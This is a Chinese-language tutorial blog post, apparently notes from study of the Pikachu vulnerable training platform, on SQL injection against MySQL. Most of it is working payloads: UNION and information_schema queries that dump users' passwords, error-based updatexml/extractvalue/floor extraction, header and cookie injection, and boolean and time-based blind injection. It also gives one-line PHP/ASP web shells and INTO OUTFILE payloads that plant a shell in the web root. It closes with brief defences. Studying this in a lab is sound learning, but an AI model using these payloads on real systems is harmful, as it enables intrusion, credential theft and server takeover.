pikachu-sql注入篇

在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。

SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到 SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:

1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;

2.使用参数化(Parameterized Query 或 Parameterized Statement);

3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

数字型注入

发送重发测试,输入or 1=1,可以把所有用户输出出来。

payload:or 1=1

数据库查询语句是select username,email from member where id=1 or 1=1;

字符型注入(get)

show databases;---先选择数据库

use 数据名;-----使用数据库

select id,email from member where username='kobe';

猜想字符串

select 字段1,字段2 from 表名 where username='Kobe';

payload:Kobe' or 1=1#

搜索型注入

数据库查询语句:select * from member where username like '%k%';

payload:xx%'or 1=1#

猜测后台闭合类型,去构造闭合

XX型注入

MySQL小知识:注释符号

在SQL注入测试中,需要经常对多余的内容进行消除,以保证SQL语句语法正确,比如上面的#。使用注释符号直接对多余没人进行注释是比较有效的方法。

MySQL服务器支持3种注入

从‘#’字符从行尾。

从‘--’序列到行尾。请注意‘--’(双破折号)注释风格要求第2个破折号后面至少跟一个空格符(例如空格、tab、换行符等等)。

从语法与标准SQL注释语法稍有不同。

从/*序列到后面的 星号/序列。结束序列不一定在同一行中,因此改语法允许注释跨越多行。

 

payload:xx') or 1=1#

进行闭合测试,构造合法SQL执行

基于union的信息查询获取

union联合查询:可以通过联合查询来查询指定的数据。

用户举例:

select username,password from user where id=1 union select 字段1,字段2 from 表名

联合查询的字段数需要和主查询一致!

正常查询

union查询

常用语法

在不知道有多少列的情况下,需要用order by 猜测列数---说明有2列

payload:q' union select database(),user()#

MySQL小知识部分

select version();//取得数据库版本

select database();//取得当前数据库

select user();//取得当前登录用户

information_schema

在MySQL中,自带information_schema这个表里面存放了大量的重要信息。如下:如果存在注入点的话,可以直接尝试对改数据库进行访问,从而获取更多的信息。

比如:

schemata表:提供了当前MySQL实例中所有数据库的信息。是show database的结果取之此表。

tables表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于那个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。

columns表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablesname的结果取之此表。

information_schema注入

#获取表名

select id,email from member where username = 'kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu';
​
payload:kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#

#获取字段名

select id,email from member where username ='kobe' union select table_name,column_name from information_schema.columns where table_name='users';
​
payload:' union select table_name,column_name from information_schema.columns where table_name='users'#

#获取内容

select id,email from member where username='kobe' union select username,password from users;
​
payload:kobe' union select username,password from users#

获取表名截图

基于函数报错的信息获取

常用的报错函数updatexml()、extractvalue()、floor()

基于函数报错的信息获取(select/insert/update/delete

技巧思路

在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。

select/insert/update/delete都可以使用报错来获取信息。

背景条件:

后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。

updatexml():函数是MySQL对XML文档数据进行查询和修改的xpath函数。

extractvalue():函数也是MySQL对XML文档数据进行查询的xpath函数。

floor():MySQL中用来取整的函数。

updatexml()函数作用:改变(查找并替换)XML文档中符合条件的节点的值。

语法:updataxml(xml_document,xpathring,new_value)

第一个参数:filedname是string格式,为表中的字段名。

第二个参数:xpathring(xpath格式的字符串)

第三个参数:new_value,string格式,替换查找到的符合条件的

xpath定位必须是有效的,否则会发生错误。

基于报错:updatexml()

payload:kobe' and updatexml(1,version(),0)#--------报错并不会全部显示出来,需要使用concat进行改造

concat ()方法用于连接两个或多个数组。

payload:kobe' and updatexml(1,concat(0x7e,version()),0)#
kobe' and updatexml(1,concat(0x7e,database()),0)#

中间version的值可以替换成任何需要的字符串来显示数据库内容。

#报错只能一次显示一行

payload:kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#

可以使用limit一次一次进行获取表名:

payload:kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#====第0个位置取,取1行,依次类推

获取表名,再获取列名

payload:kobe' and updatexml(1,concat(0x7e,(select column_name  from information_schema.columns where table_name='user' limit 0,1)),0)#

#获取到列名后,在来获取数据:

payload:kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#
        kobe' and updatexml(1,concat(0x7e,(select password from users  where username='admin' limit 0,1)),0)#

extractvalue()函数作用:从目标XML中返回包含所查询值的字符串。

语法:extractvalue(xml_document,xpath_string)

第一个参数:xml_document是string格式,为xml文档对象的名称,文中为doc

第二个参数:xpath_string(xpath格式的字符串)

xpath定位必须是有效的,否则会发生错误。

基于extractvalue()

payload:kobe' and extractvalue(0,concat(0x7e,version()))#

基于floor()

Kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
Kobe' and (select 2 from (select count(*),concat((select password from users  where username='admin' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

insert/update注入

基于insert下的报错:

payload:xx' or updatexml(1,concat(0x7e,database()),0) or '

detele注入

payload:1 or updatexml(1,concat(0x7e,database()),0) 

在ID包中修改加入payload

什么http header注入

有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证),或者通过http header头信息获取客户端的一些信息,比如useragent,accept字段等等。

会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致httpheader的SQL inject漏洞。

User-Agent--payload:Firefox' or updatexml(1,concat(0x7e,database()),0)or'

Cookie-payload:ant[uname]=admin' and updatexml(1,concat(0x7e,database()),0)#

盲注(base on boolean)

盲注:有些情况下,后台使用了错误消息屏蔽方法(比如@)屏蔽了报错,此时无法在根据报错信息来进行注入的判断。

这种情况下的注入,称为“盲注”

根据表现形式的不同,盲注又分为based boolean和based time两种类型。

基于boolean的盲注主要表现:

0.没有报错信息

1.不管是正确的输入,还是错误的输入,都只是显示两种情况(可以认为是0或1)

2.在正确的输入下,输入and 1=1/and 1=2发现都可以判断

说明and 1=1#代入了数据库执行,Kobe存在,1=1为真,所以输出信息。

substr:对数据进行取值,从第1个开始取,取第1个

select substr(database(),1,1);

把p值转换为ASCII码

select ascii(substr(database(),1,1));

 

select ascii(substr(database(),1,1))=112;--进行比较

查看数据库字符长度是多少用到length()函数

select length(database());

select length(database())=7;

payload:kobe' and ascii(substr(database(),1,1))=112#-----其他的payload数据在database()进行替换
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=112#

盲注(based time)

基于boolean的盲注在页面上还可以看到0or1的回显的话,那么基于time的盲注完全就什么都看不到!

但有个条件,通过特定的输入,判断后台执行的时间,从而确认注入!

常用的teat payload

Kobe' and sleep(2)#

基于时间延迟:

payload:Kobe' and if((substr(database(),1,1))='a',sleep(2),null)#

SQL-inject漏洞手动测试-OS远程控制

一句话木马

一句话木马是一种短小精悍的木马客户端,隐蔽性好,且功能强大。例如:

PHP:<?php @eval($_POST['cmd']);?>
ASP:<%eval request("chopper")%>
ASP.NET:<%@ pagelanguage="jscript"%><%eval(request.item["chopper"],"unsafe");%>

默认是null,要改为空,修改MySQL的配置文件,重启服务

获取操作系统权限:
payload:Kobe' union select "<?php @eval($_GET['cmd'])?>",2 into outfile "C:\\phpStudy\\WWW\\html\\1.php"#
Kobe' union select "<?php system($_GET['cmd'])?>",2 into outfile "C:\\phpStudy\\WWW\\html\\2.php"#

漏洞之表(列)名的暴力破解

前面字符串进行查询,同时把and作为逻辑运算符,计算对应内容是不是存在,aa是猜测的部分,如果表不存在,那么and连接前后对应的逻辑就是假,如果存在,则为真,在真假的盲注里面,通过真假来判断表名,如果有报错,也可以通过报错信息来判断。

kobe' and exists(select * from aa)#
kobe' and exists(select * from users)#

 

发送到intruder,进行爆破

手动写几个字典,进行测试,再加入响应字段做匹配

最后爆破成功

SQL注入漏洞的防范

*代码层面

1,对输入进行严格的转义和过滤(不是最好的方法)

2,使用预处理和参数化

推荐做法:使用PDO的prepare预处理(预处理+参数化)

*网络层面

1,通过WAF设备启用SQL注入策略

2,云端防护(360卫士,阿里云云盾)

#该文章学习与Pikachu漏洞平台教学视频。

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值